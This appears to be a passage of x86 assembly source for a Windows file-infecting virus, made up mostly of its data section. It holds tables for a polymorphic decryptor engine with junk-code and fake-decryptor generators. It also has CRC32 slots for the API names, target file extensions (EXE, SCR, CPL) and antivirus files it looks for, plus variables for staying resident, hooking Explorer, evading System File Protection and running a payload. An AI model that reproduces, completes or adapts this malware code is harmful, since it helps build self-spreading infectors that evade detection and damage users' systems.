;============================================================
|
|
;Magic aliases
|
|
;============================================================
|
|
|
|
MAGIC_PUTKEY equ 01h
|
|
MAGIC_PUTDISP equ 02h
|
|
MAGIC_ENDSTR equ 0FFh
|
|
MAGIC_ENDKEY equ 0FEh
|
|
MAGIC_CAREEBP equ 00h
|
|
MAGIC_NOTEBP equ 0FFh
|
|
|
|
;============================================================
|
|
;Magic data
|
|
;============================================================
|
|
|
|
xx_inc_reg db 0FEh
|
|
db MAGIC_CAREEBP
|
|
db 00h
|
|
db 00h
|
|
dd offset x_inc_reg_byte
|
|
dd offset x_inc_reg_word
|
|
dd offset x_inc_reg_dword
|
|
|
|
xx_dec_reg db 0FEh
|
|
db MAGIC_CAREEBP
|
|
db 08h
|
|
db 00h
|
|
dd offset x_dec_reg_byte
|
|
dd offset x_dec_reg_word
|
|
dd offset x_dec_reg_dword
|
|
|
|
xx_not_reg db 0F6h
|
|
db MAGIC_CAREEBP
|
|
db 10h
|
|
db 00h
|
|
dd offset x_not_reg_byte
|
|
dd offset x_not_reg_word
|
|
dd offset x_not_reg_dword
|
|
|
|
xx_add_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 00h
|
|
db MAGIC_PUTKEY
|
|
dd offset x_add_reg_byte
|
|
dd offset x_add_reg_word
|
|
dd offset x_add_reg_dword
|
|
|
|
xx_sub_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 28h
|
|
db MAGIC_PUTKEY
|
|
dd offset x_sub_reg_byte
|
|
dd offset x_sub_reg_word
|
|
dd offset x_sub_reg_dword
|
|
|
|
xx_xor_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 30h
|
|
db MAGIC_PUTKEY
|
|
dd offset x_xor_reg_byte
|
|
dd offset x_xor_reg_word
|
|
dd offset x_xor_reg_dword
|
|
|
|
yy_inc_reg db 0FEh
|
|
db MAGIC_NOTEBP
|
|
db 80h
|
|
db MAGIC_PUTDISP
|
|
dd offset x_inc_reg_byte
|
|
dd offset x_inc_reg_word
|
|
dd offset x_inc_reg_dword
|
|
|
|
yy_dec_reg db 0FEh
|
|
db MAGIC_NOTEBP
|
|
db 88h
|
|
db MAGIC_PUTDISP
|
|
dd offset x_dec_reg_byte
|
|
dd offset x_dec_reg_word
|
|
dd offset x_dec_reg_dword
|
|
|
|
yy_not_reg db 0F6h
|
|
db MAGIC_NOTEBP
|
|
db 90h
|
|
db MAGIC_PUTDISP
|
|
dd offset x_not_reg_byte
|
|
dd offset x_not_reg_word
|
|
dd offset x_not_reg_dword
|
|
|
|
yy_add_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 80h
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_add_reg_byte
|
|
dd offset x_add_reg_word
|
|
dd offset x_add_reg_dword
|
|
|
|
yy_sub_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 0A8h
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_sub_reg_byte
|
|
dd offset x_sub_reg_word
|
|
dd offset x_sub_reg_dword
|
|
|
|
yy_xor_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 0B0h
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_xor_reg_byte
|
|
dd offset x_xor_reg_word
|
|
dd offset x_xor_reg_dword
|
|
|
|
zz_inc_reg db 0FEh
|
|
db MAGIC_CAREEBP
|
|
db 04h
|
|
db 00h
|
|
dd offset x_inc_reg_byte
|
|
dd offset x_inc_reg_word
|
|
dd offset x_inc_reg_dword
|
|
|
|
zz_dec_reg db 0FEh
|
|
db MAGIC_CAREEBP
|
|
db 0Ch
|
|
db 00h
|
|
dd offset x_dec_reg_byte
|
|
dd offset x_dec_reg_word
|
|
dd offset x_dec_reg_dword
|
|
|
|
zz_not_reg db 0F6h
|
|
db MAGIC_CAREEBP
|
|
db 14h
|
|
db 00h
|
|
dd offset x_not_reg_byte
|
|
dd offset x_not_reg_word
|
|
dd offset x_not_reg_dword
|
|
|
|
zz_add_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 04h
|
|
db MAGIC_PUTKEY
|
|
dd offset x_add_reg_byte
|
|
dd offset x_add_reg_word
|
|
dd offset x_add_reg_dword
|
|
|
|
zz_sub_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 2Ch
|
|
db MAGIC_PUTKEY
|
|
dd offset x_sub_reg_byte
|
|
dd offset x_sub_reg_word
|
|
dd offset x_sub_reg_dword
|
|
|
|
zz_xor_reg db 80h
|
|
db MAGIC_CAREEBP
|
|
db 34h
|
|
db MAGIC_PUTKEY
|
|
dd offset x_xor_reg_byte
|
|
dd offset x_xor_reg_word
|
|
dd offset x_xor_reg_dword
|
|
|
|
ii_inc_reg db 0FEh
|
|
db MAGIC_NOTEBP
|
|
db 84h
|
|
db MAGIC_PUTDISP
|
|
dd offset x_inc_reg_byte
|
|
dd offset x_inc_reg_word
|
|
dd offset x_inc_reg_dword
|
|
|
|
ii_dec_reg db 0FEh
|
|
db MAGIC_NOTEBP
|
|
db 8Ch
|
|
db MAGIC_PUTDISP
|
|
dd offset x_dec_reg_byte
|
|
dd offset x_dec_reg_word
|
|
dd offset x_dec_reg_dword
|
|
|
|
ii_not_reg db 0F6h
|
|
db MAGIC_NOTEBP
|
|
db 94h
|
|
db MAGIC_PUTDISP
|
|
dd offset x_not_reg_byte
|
|
dd offset x_not_reg_word
|
|
dd offset x_not_reg_dword
|
|
|
|
ii_add_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 84h
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_add_reg_byte
|
|
dd offset x_add_reg_word
|
|
dd offset x_add_reg_dword
|
|
|
|
ii_sub_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 0ACh
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_sub_reg_byte
|
|
dd offset x_sub_reg_word
|
|
dd offset x_sub_reg_dword
|
|
|
|
ii_xor_reg db 80h
|
|
db MAGIC_NOTEBP
|
|
db 0B4h
|
|
db MAGIC_PUTKEY or MAGIC_PUTDISP
|
|
dd offset x_xor_reg_byte
|
|
dd offset x_xor_reg_word
|
|
dd offset x_xor_reg_dword
|
|
|
|
;============================================================
|
|
;Reverse-code strings
|
|
;============================================================
|
|
|
|
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
|
|
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
|
|
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
|
|
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
|
|
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
|
|
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
|
|
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
|
|
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
|
|
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
|
|
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
|
|
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
|
|
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
|
|
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
|
|
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
|
|
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
|
|
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
|
|
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
|
|
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY
|
|
|
|
;============================================================
|
|
;Format for each style-table entry:
|
|
;
|
|
; 00h -> DWORD -> Address of generator
|
|
; 04h -> DWORD -> Address of generated subroutine or
|
|
; 00000000h if not yet generated
|
|
;
|
|
;============================================================
|
|
|
|
style_table equ $
|
|
|
|
dd offset gen_load_ptr
|
|
dd 00000000h
|
|
|
|
dd offset gen_load_ctr
|
|
dd 00000000h
|
|
|
|
dd offset gen_decrypt
|
|
dd 00000000h
|
|
|
|
dd offset gen_next_step
|
|
dd 00000000h
|
|
|
|
dd offset gen_next_ctr
|
|
dd 00000000h
|
|
|
|
;============================================================
|
|
;Generators for incrementing the index register
|
|
;============================================================
|
|
|
|
tbl_idx_up equ $
|
|
|
|
dd offset IdxUpWithADD
|
|
dd offset IdxUpWithSUB
|
|
dd offset IdxUpWithINC
|
|
dd offset IdxUpADDADD
|
|
dd offset IdxUpADDSUB
|
|
dd offset IdxUpSUBSUB
|
|
dd offset IdxUpSUBADD
|
|
|
|
NumIdxUp equ ($-tbl_idx_up)/04h
|
|
|
|
;============================================================
|
|
;Misc generators
|
|
;============================================================
|
|
|
|
tbl_jmp_end equ $
|
|
|
|
dd offset jmpendregadd
|
|
dd offset jmpendregsub
|
|
dd offset jmpendregxor
|
|
|
|
NumJmpEnd equ ($-tbl_jmp_end)/04h
|
|
|
|
tbl_call_step equ $
|
|
|
|
dd offset CallStepADD
|
|
dd offset CallStepSUB
|
|
dd offset CallStepXOR
|
|
|
|
NumCallStep equ ($-tbl_call_step)/04h
|
|
|
|
TblDoFog equ $
|
|
|
|
dd offset DoFogAdd
|
|
dd offset DoFogSub
|
|
dd offset DoFogXor
|
|
|
|
NumFog equ ($-TblDoFog)/04h
|
|
|
|
TblFixFog equ $
|
|
|
|
dd offset FixFogAdd
|
|
dd offset FixFogSub
|
|
dd offset FixFogXor
|
|
|
|
NumFixFog equ ($-TblFixFog)/04h
|
|
|
|
;============================================================
|
|
;Generators for decrementing the index register
|
|
;============================================================
|
|
|
|
tbl_idx_down equ $
|
|
|
|
dd offset IdxDownWithADD
|
|
dd offset IdxDownWithSUB
|
|
dd offset IdxDownWithDEC
|
|
dd offset IdxDownADDADD
|
|
dd offset IdxDownADDSUB
|
|
dd offset IdxDownSUBSUB
|
|
dd offset IdxDownSUBADD
|
|
|
|
NumIdxDown equ ($-tbl_idx_down)/04h
|
|
|
|
;============================================================
|
|
;Garbage code generators
|
|
;============================================================
|
|
|
|
tbl_i_g equ $
|
|
|
|
dd offset gen_save_code ;clc stc cmc cld std
|
|
dd offset gen_mov_mem32 ;mov mem,reg32
|
|
dd offset gen_mov_mem16 ;mov mem,reg16
|
|
dd offset gen_mov_mem8 ;mov mem,reg8
|
|
dd offset gen_add_mem32 ;add mem,reg32
|
|
dd offset gen_add_mem16 ;add mem,reg16
|
|
dd offset gen_add_mem8 ;add mem,reg8
|
|
dd offset gen_sub_mem32 ;sub mem,reg32
|
|
dd offset gen_sub_mem16 ;sub mem,reg16
|
|
dd offset gen_sub_mem8 ;sub mem,reg8
|
|
dd offset gen_adc_mem32 ;adc mem,reg32
|
|
dd offset gen_adc_mem16 ;adc mem,reg16
|
|
dd offset gen_adc_mem8 ;adc mem,reg8
|
|
dd offset gen_sbb_mem32 ;sbb mem,reg32
|
|
dd offset gen_sbb_mem16 ;sbb mem,reg16
|
|
dd offset gen_sbb_mem8 ;sbb mem,reg8
|
|
dd offset gen_or_mem32 ;or mem,reg32
|
|
dd offset gen_or_mem16 ;or mem,reg16
|
|
dd offset gen_or_mem8 ;or mem,reg8
|
|
dd offset gen_and_mem32 ;and mem,reg32
|
|
dd offset gen_and_mem16 ;and mem,reg16
|
|
dd offset gen_and_mem8 ;and mem,reg8
|
|
dd offset gen_xor_mem32 ;xor mem,reg32
|
|
dd offset gen_xor_mem16 ;xor mem,reg16
|
|
dd offset gen_xor_mem8 ;xor mem,reg8
|
|
|
|
end_i_g equ $
|
|
|
|
tbl_garbage equ $
|
|
|
|
dd offset gen_save_code ;clc stc cmc cld std
|
|
dd offset g_movreg32imm ;mov reg32,imm
|
|
dd offset g_movreg16imm ;mov reg16,imm
|
|
dd offset g_movreg8imm ;mov reg8,imm
|
|
dd offset g_xchgregreg32 ;xchg reg32,reg32
|
|
dd offset g_xchgregreg16 ;xchg reg16,reg16
|
|
dd offset g_xchgregreg8 ;xchg reg8,reg8
|
|
dd offset g_movregreg32 ;mov reg32,reg32
|
|
dd offset g_movregreg16 ;mov reg16,reg16
|
|
dd offset g_movregreg8 ;mov reg8,reg8
|
|
dd offset g_inc_reg32 ;inc reg32
|
|
dd offset g_inc_reg16 ;inc reg16
|
|
dd offset g_inc_reg8 ;inc reg8
|
|
dd offset g_dec_reg32 ;dec reg32
|
|
dd offset g_dec_reg16 ;dec reg16
|
|
dd offset g_dec_reg8 ;dec reg8
|
|
dd offset g_mathregimm32 ;math reg32,imm
|
|
dd offset g_mathregimm16 ;math reg16,imm
|
|
dd offset g_mathregimm8 ;math reg8,imm
|
|
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16
|
|
|
|
save_space equ $
|
|
|
|
dd offset gen_mov_mem32 ;mov mem,reg32
|
|
dd offset gen_mov_mem16 ;mov mem,reg16
|
|
dd offset gen_mov_mem8 ;mov mem,reg8
|
|
dd offset gen_add_mem32 ;add mem,reg32
|
|
dd offset gen_add_mem16 ;add mem,reg16
|
|
dd offset gen_add_mem8 ;add mem,reg8
|
|
dd offset gen_sub_mem32 ;sub mem,reg32
|
|
dd offset gen_sub_mem16 ;sub mem,reg16
|
|
dd offset gen_sub_mem8 ;sub mem,reg8
|
|
dd offset gen_adc_mem32 ;adc mem,reg32
|
|
dd offset gen_adc_mem16 ;adc mem,reg16
|
|
dd offset gen_adc_mem8 ;adc mem,reg8
|
|
dd offset gen_sbb_mem32 ;sbb mem,reg32
|
|
dd offset gen_sbb_mem16 ;sbb mem,reg16
|
|
dd offset gen_sbb_mem8 ;sbb mem,reg8
|
|
dd offset gen_or_mem32 ;or mem,reg32
|
|
dd offset gen_or_mem16 ;or mem,reg16
|
|
dd offset gen_or_mem8 ;or mem,reg8
|
|
dd offset gen_and_mem32 ;and mem,reg32
|
|
dd offset gen_and_mem16 ;and mem,reg16
|
|
dd offset gen_and_mem8 ;and mem,reg8
|
|
dd offset gen_xor_mem32 ;xor mem,reg32
|
|
dd offset gen_xor_mem16 ;xor mem,reg16
|
|
dd offset gen_xor_mem8 ;xor mem,reg8
|
|
dd offset g_push_g_pop ;push reg/garbage/pop reg
|
|
dd offset g_call_cont ;call/garbage/pop
|
|
dd offset g_jump_u ;jump/rnd block
|
|
dd offset g_jump_c ;jump conditional/garbage
|
|
dd offset gen_fake_crypt ;fake decryptor instruction
|
|
|
|
end_garbage equ $
|
|
|
|
;============================================================
|
|
;PolyPush
|
|
;============================================================
|
|
|
|
TblDoPush equ $
|
|
|
|
pushEBX db 053h
|
|
pushESI db 056h
|
|
pushEDI db 057h
|
|
pushEBP db 055h
|
|
|
|
;============================================================
|
|
;PolyPop
|
|
;============================================================
|
|
|
|
TblDoPop equ $
|
|
|
|
popEBX db 05Dh
|
|
popESI db 05Fh
|
|
popEDI db 05Eh
|
|
popEBP db 05Bh
|
|
|
|
;============================================================================
|
|
;CRC32 of API names
|
|
;============================================================================
|
|
|
|
CrcKernel32 dd 00000000h ;CRC32 of KERNEL dll name
|
|
|
|
CrcGetProcAddr dd 00000000h ;This API takes special care
|
|
|
|
CRC32K32Apis dd NumK32Apis dup (00000000h)
|
|
CRC32TOOLHELPApis dd NumTOOLHELPApis dup (00000000h)
|
|
CRC32PSAPIApis dd NumPSAPIApis dup (00000000h)
|
|
CRC32IMGHLPApis dd NumIMGHLPApis dup (00000000h)
|
|
CRC32SFCApis dd NumSFCApis dup (00000000h)
|
|
CRC32USER32Apisw9x dd NumUSER32Apis dup (00000000h)
|
|
CRC32USER32Apiswnt dd NumUSER32Apis dup (00000000h)
|
|
|
|
CRC32_IsDebugPr dd 00000000h
|
|
CRC32_RegServProc dd 00000000h
|
|
|
|
;============================================================================
|
|
;CRC32 of infectable file extensions
|
|
;============================================================================
|
|
|
|
TblCRC32szEXT equ $
|
|
|
|
CRC32_szEXE dd 00000000h
|
|
CRC32_szSCR dd 00000000h
|
|
CRC32_szCPL dd 00000000h
|
|
|
|
NumberOfExt equ ($-TblCRC32szEXT)/04h
|
|
|
|
;============================================================================
|
|
;CRC32 of EXPLORER.EXE and USER32.DLL
|
|
;============================================================================
|
|
|
|
CRCszEXPLORER dd 00000000h
|
|
CRCszUSER32 dd 00000000h
|
|
CRCszPSAPI dd 00000000h
|
|
CRCszIMGHLP dd 00000000h
|
|
CRCszSFC dd 00000000h
|
|
|
|
;============================================================================
|
|
;Avoid some files from being infected
|
|
;============================================================================
|
|
|
|
avoid_tbl dd avoid_num dup (00000000h)
|
|
|
|
;============================================================================
|
|
;CRC32 of AV files
|
|
;============================================================================
|
|
|
|
TblCRC32AV dd NumberOfAV dup (00000000h)
|
|
|
|
;============================================================================
|
|
;End of CRC32 protected area
|
|
;============================================================================
|
|
|
|
SizeOfProtect equ $-CRC_protected
|
|
|
|
;============================================================================
|
|
;End of virus image in files
|
|
;============================================================================
|
|
|
|
inf_size equ $-viro_sys
|
|
|
|
;============================================================================
|
|
;Seed for random number generator
|
|
;============================================================================
|
|
|
|
rnd32_seed dd 00000000h
|
|
|
|
;============================================================================
|
|
;CRC32 lookup table
|
|
;============================================================================
|
|
|
|
tbl_crc32 dd 0100h dup (00000000h)
|
|
|
|
;============================================================================
|
|
;KERNEL32 API's
|
|
;============================================================================
|
|
|
|
;GetProcAddress API takes special care
|
|
|
|
a_GetProcAddress dd 00000000h
|
|
|
|
epK32Apis equ $
|
|
|
|
a_CreateFileA dd 00000000h
|
|
a_CreateFileMappingA dd 00000000h
|
|
a_CreateProcessA dd 00000000h
|
|
a_CreateThread dd 00000000h
|
|
a_CloseHandle dd 00000000h
|
|
a_DeleteFileA dd 00000000h
|
|
a_ExitThread dd 00000000h
|
|
a_FindClose dd 00000000h
|
|
a_FindFirstFileA dd 00000000h
|
|
a_FindNextFileA dd 00000000h
|
|
a_FreeLibrary dd 00000000h
|
|
a_GetComputerNameA dd 00000000h
|
|
a_GetCurrentProcess dd 00000000h
|
|
a_GetDriveTypeA dd 00000000h
|
|
a_GetFileAttributesA dd 00000000h
|
|
a_GetLastError dd 00000000h
|
|
a_GetLocalTime dd 00000000h
|
|
a_GetLogicalDriveStringsA dd 00000000h
|
|
a_GetSystemDirectoryA dd 00000000h
|
|
a_GetVersionEx dd 00000000h
|
|
a_LoadLibraryA dd 00000000h
|
|
a_MapViewOfFile dd 00000000h
|
|
a_OpenFileMappingA dd 00000000h
|
|
a_OpenProcess dd 00000000h
|
|
a_ReadProcessMemory dd 00000000h
|
|
a_SetEndOfFile dd 00000000h
|
|
a_SetFileAttributesA dd 00000000h
|
|
a_SetFilePointer dd 00000000h
|
|
a_SetFileTime dd 00000000h
|
|
a_Sleep dd 00000000h
|
|
a_UnmapViewOfFile dd 00000000h
|
|
a_WriteProcessMemory dd 00000000h
|
|
|
|
NumK32Apis equ ($-epK32Apis)/04h
|
|
|
|
;Only used when present
|
|
|
|
a_IsDebuggerPresent dd 00000000h
|
|
|
|
hKERNEL32 dd 00000000h
|
|
|
|
;============================================================================
|
|
;Used to check current computer name
|
|
;============================================================================
|
|
|
|
SizeOfComputerName dd 00000000h
|
|
|
|
szComputerName db 20h dup (00h)
|
|
|
|
;============================================================================
|
|
;Buffer used on misc routines
|
|
;============================================================================
|
|
|
|
EP_Bytes dd 00000000h
|
|
|
|
BufStrFilename db MAX_PATH+01h dup (00000000h)
|
|
|
|
;============================================================================
|
|
;End of virus virtual image
|
|
;============================================================================
|
|
|
|
size_virtual equ $-viro_sys
|
|
|
|
;============================================================================
|
|
;Structure used by GetVersionEx
|
|
;============================================================================
|
|
|
|
system_version equ $
|
|
|
|
dwOSVersionInfoSize dd 00000000h
|
|
dwMajorVersion dd 00000000h
|
|
dwMinorVersion dd 00000000h
|
|
dwBuildNumber dd 00000000h
|
|
dwPlatformId dd 00000000h
|
|
|
|
szCSDVersion db 80h dup (00h)
|
|
|
|
VER_PLATFORM_WIN32s equ 00h
|
|
VER_PLATFORM_WIN32_WINDOWS equ 01h
|
|
VER_PLATFORM_WIN32_NT equ 02h
|
|
|
|
;============================================================================
|
|
;Variables used by the Windows 9x residency routines
|
|
;============================================================================
|
|
|
|
hSnapshot dd 00000000h
|
|
|
|
ProcessEntry equ $
|
|
|
|
ProcEdwSize dd 00000000h
|
|
ProcEcntUsage dd 00000000h
|
|
ProcEth32ProcessID dd 00000000h
|
|
ProcEth32DefaultHeapID dd 00000000h
|
|
ProcEth32ModuleID dd 00000000h
|
|
ProcEcntThreads dd 00000000h
|
|
ProcEth32ParentProcessID dd 00000000h
|
|
ProcEpcPriClassBase dd 00000000h
|
|
ProcEdwFlags dd 00000000h
|
|
ProcEszExeFile db MAX_PATH dup (00h)
|
|
|
|
SIZEOFPROCESSENTRY equ ($-ProcessEntry)
|
|
|
|
ModuleEntry equ $
|
|
|
|
ModEdwSize dd 00000000h
|
|
ModEth32ModuleID dd 00000000h
|
|
ModEth32ProcessID dd 00000000h
|
|
ModEGlblcntUsage dd 00000000h
|
|
ModEProccntUsage dd 00000000h
|
|
ModEmodBaseAddr dd 00000000h
|
|
ModEmodBaseSize dd 00000000h
|
|
ModEhModule dd 00000000h
|
|
ModEszModule db MAX_MODULE_NAME32+1 dup (00h)
|
|
ModEszExePath db MAX_PATH dup (00h)
|
|
|
|
SIZEOFMODULEENTRY equ ($-ModuleEntry)
|
|
|
|
MAX_MODULE_NAME32 equ 255
|
|
|
|
;============================================================================
|
|
;Variables used by the Windows NT and Windows 2000 residency routines
|
|
;============================================================================
|
|
|
|
hProcess dd 00000000h
|
|
hModule dd 00000000h
|
|
|
|
ProcessIdList dd 20h dup (00000000h)
|
|
ModuleList dd 20h dup (00000000h)
|
|
|
|
Explorer_MZ_lfanew dd 00000000h
|
|
Explorer_FH_SizeOfOptionalHeader dw 0000h
|
|
Explorer_FH_NumberOfSections dw 0000h
|
|
|
|
Explorer_SectionHeader db IMAGE_SIZEOF_SECTION_HEADER dup (00h)
|
|
|
|
Explorer_DE_Import dd 00000000h
|
|
|
|
Explorer_ImportDescriptor db IMAGE_SIZEOF_IMPORT_DESCRIPTOR dup (00h)
|
|
|
|
Explorer_ID_Name db 10h dup (00h)
|
|
ParseDllNameErrorProtection db 00h
|
|
|
|
Explorer_Hook dd 00000000h
|
|
Explorer_Patch dd 00000000h
|
|
Explorer_Init_Hook dd 00000000h
|
|
|
|
;============================================================================
|
|
;This is virus infection thread ID
|
|
;============================================================================
|
|
|
|
IF_ThreadID dd 00000000h
|
|
|
|
;============================================================================
|
|
;This is used to locate system DLL files and load them without using names,
|
|
;only by means of CRC32
|
|
;============================================================================
|
|
|
|
a_SDLL_CRC32 dd 00000000h
|
|
|
|
szSYSTEMDIR db MAX_PATH dup (00h)
|
|
|
|
;============================================================================
|
|
;TOOLHELP API's (Windows 9x only)
|
|
;============================================================================
|
|
|
|
epTOOLHELPApis equ $
|
|
|
|
a_CreateToolhelp32Snapshot dd 00000000h
|
|
a_Process32First dd 00000000h
|
|
a_Process32Next dd 00000000h
|
|
a_Module32First dd 00000000h
|
|
a_Module32Next dd 00000000h
|
|
|
|
NumTOOLHELPApis equ ( $-epTOOLHELPApis)/04h
|
|
|
|
;============================================================================
|
|
;PSAPI API's (Windows NT & Windows 2000 only)
|
|
;============================================================================
|
|
|
|
epPSAPIApis equ $
|
|
|
|
a_EnumProcessModules dd 00000000h
|
|
a_EnumProcesses dd 00000000h
|
|
a_GetModuleBaseNameA dd 00000000h
|
|
a_GetModuleInformation dd 00000000h
|
|
|
|
NumPSAPIApis equ ($-epPSAPIApis)/04h
|
|
|
|
hPSAPI dd 00000000h
|
|
|
|
;============================================================================
|
|
;IMAGEHLP APIs used to compute new image checksum
|
|
;============================================================================
|
|
|
|
epIMGHLPApis equ $
|
|
|
|
a_CheckSumMappedFile dd 00000000h
|
|
|
|
NumIMGHLPApis equ ($-epIMGHLPApis)/04h
|
|
|
|
hIMGHLP dd 00000000h
|
|
|
|
;============================================================================
|
|
;SFC APIs used by the virus to avoid Windows 2000 System File Protection
|
|
;============================================================================
|
|
|
|
epSFCApis equ $
|
|
|
|
a_SfcIsFileProtected dd 00000000h
|
|
|
|
NumSFCApis equ ($-epSFCApis)/04h
|
|
|
|
hSFC dd 00000000h
|
|
|
|
;============================================================================
|
|
;USER32 APIs ( The address is for the Ansi version if the target is running
|
|
;windows 9x or the Wide version if running windows Nt ) .
|
|
;============================================================================
|
|
|
|
epUSER32Apis equ $
|
|
|
|
a_DefWindowProc dd 00000000h
|
|
|
|
NumUSER32Apis equ ($-epUSER32Apis)/04h
|
|
|
|
hUSER32 dd 00000000h
|
|
|
|
;============================================================================
|
|
;Handles over target files
|
|
;============================================================================
|
|
|
|
h_CreateFile dd 00000000h
|
|
h_FileMap dd 00000000h
|
|
|
|
;============================================================================
|
|
;Misc variables
|
|
;============================================================================
|
|
|
|
CurFileAttr dd 00000000h
|
|
ChecksumPE dd 00000000h
|
|
OldChecksum dd 00000000h
|
|
map_is_here dd 00000000h
|
|
FileImport dd 00000000h
|
|
ImportSH dd 00000000h
|
|
inject_offs dd 00000000h
|
|
vir_offset dd 00000000h
|
|
search_raw dd 00000000h
|
|
host_base dd 00000000h
|
|
virus_sh dd 00000000h
|
|
fix_size dd 00000000h
|
|
raw_align dd 00000000h
|
|
K32CodeStart dd 00000000h
|
|
K32CodeEnd dd 00000000h
|
|
|
|
;============================================================================
|
|
;Poly engine uninitialized data
|
|
;============================================================================
|
|
|
|
CRYPT_DIRECTION equ 01h
|
|
CRYPT_CMPCTR equ 02h
|
|
CRYPT_CDIR equ 04h
|
|
CRYPT_SIMPLEX equ 10h
|
|
CRYPT_COMPLEX equ 20h
|
|
CRYPT_FOG equ 40h
|
|
|
|
PtrToCrypt dd 00000000h ;Pointer to area to encrypt
|
|
PtrToDecrypt dd 00000000h ;Where to generate polymorphic decryptor
|
|
PtrToEP dd 00000000h ;Pointer to code entry-point once decrypted
|
|
SizeCrypt dd 00000000h ;Size of area to encrypt
|
|
end_value dd 00000000h ;Index end value
|
|
loop_point dd 00000000h ;Start address of decryption loop
|
|
entry_point dd 00000000h ;Entry point to decryptor code
|
|
decryptor_size dd 00000000h ;Size of generated decryptor
|
|
disp2disp dd 00000000h ;Displacement over displacement
|
|
condition_ptr dd 00000000h ;Pointer to JZ/JNZ instruction at loop end
|
|
|
|
Xrnd1 dd 00000000h
|
|
XrndReg dd 00000000h
|
|
XrndFixPtr dd 00000000h
|
|
XrndMath dd 00000000h
|
|
|
|
counter_mask db 00h ;Mask of register used as counter
|
|
recursive_level db 00h ;Garbage recursive layer
|
|
IsFirst db 00h ;Save registers only on 1st decryptor
|
|
|
|
fake_field equ $
|
|
|
|
ptr_disp dd 00000000h ;Displacement from index
|
|
fake_ptr_disp dd 00000000h ;...and fake one
|
|
|
|
crypt_key dd 00000000h ;Encryption key
|
|
fake_crypt_key dd 00000000h ;...and fake one
|
|
|
|
build_flags db 00h ;Some decryptor flags
|
|
fake_build_flags db 00h ;...and fake ones
|
|
|
|
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
|
|
fake_oper_size db 00h ;...and fake one
|
|
|
|
index_mask db 00h ;Mask of register used as index
|
|
fake_index_mask db 00h ;...and fake one
|
|
|
|
TblStdPshP equ $
|
|
|
|
dd 00000000h
|
|
dd 00000000h
|
|
dd 00000000h
|
|
dd 00000000h
|
|
|
|
PshPStepIndex dd 00000004h dup (00000000h)
|
|
|
|
NUM_DA equ 10h
|
|
|
|
NumberOfDataAreas db 00h
|
|
|
|
tbl_data_area db NUM_DA*08h dup (00h)
|
|
|
|
;============================================================================
|
|
;SYSTEMTIME structure used by GetLocalTime
|
|
;============================================================================
|
|
|
|
local_time equ $
|
|
|
|
LT_Year dw 0000h
|
|
LT_Month dw 0000h
|
|
LT_DayOfWeek dw 0000h
|
|
LT_Day dw 0000h
|
|
LT_Hour dw 0000h
|
|
LT_Minute dw 0000h
|
|
LT_Second dw 0000h
|
|
LT_Milliseconds dw 0000h
|
|
|
|
;============================================================================
|
|
;A rect structure used in the payload
|
|
;============================================================================
|
|
|
|
WindowRect equ $
|
|
|
|
WR_left dd 00000000h
|
|
WR_top dd 00000000h
|
|
WR_right dd 00000000h
|
|
WR_bottom dd 00000000h
|
|
|
|
;============================================================================
|
|
;This is a WIN32 FindData structure used to infect files, and some
|
|
;auxiliary variables
|
|
;============================================================================
|
|
|
|
FileSizeOnDisk dd 00000000h
|
|
FatSize dd 00000000h
|
|
|
|
FT_CreationTime db 08h dup (00h)
|
|
FT_LastAccessTime db 08h dup (00h)
|
|
FT_LastWriteTime db 08h dup (00h)
|
|
|
|
h_Find dd 00000000h
|
|
DirectFindData db SIZEOF_WIN32_FIND_DATA dup (00h)
|
|
|
|
;============================================================================
|
|
;Used to retrieve current, windows and system directories
|
|
;============================================================================
|
|
|
|
BufGetDir db MAX_PATH+01h dup (00000000h)
|
|
|
|
;============================================================================
|
|
;Used to get logical drives
|
|
;============================================================================
|
|
|
|
SIZEOF_LDSB equ MAX_PATH
|
|
|
|
szLogicalDrives db SIZEOF_LDSB dup (00000000h)
|
|
|
|
;============================================================================
|
|
;End of virus image in allocated memory
|
|
;============================================================================
|
|
|
|
alloc_size equ $-viro_sys
|
|
|
|
virseg ends
|
|
end host_code
|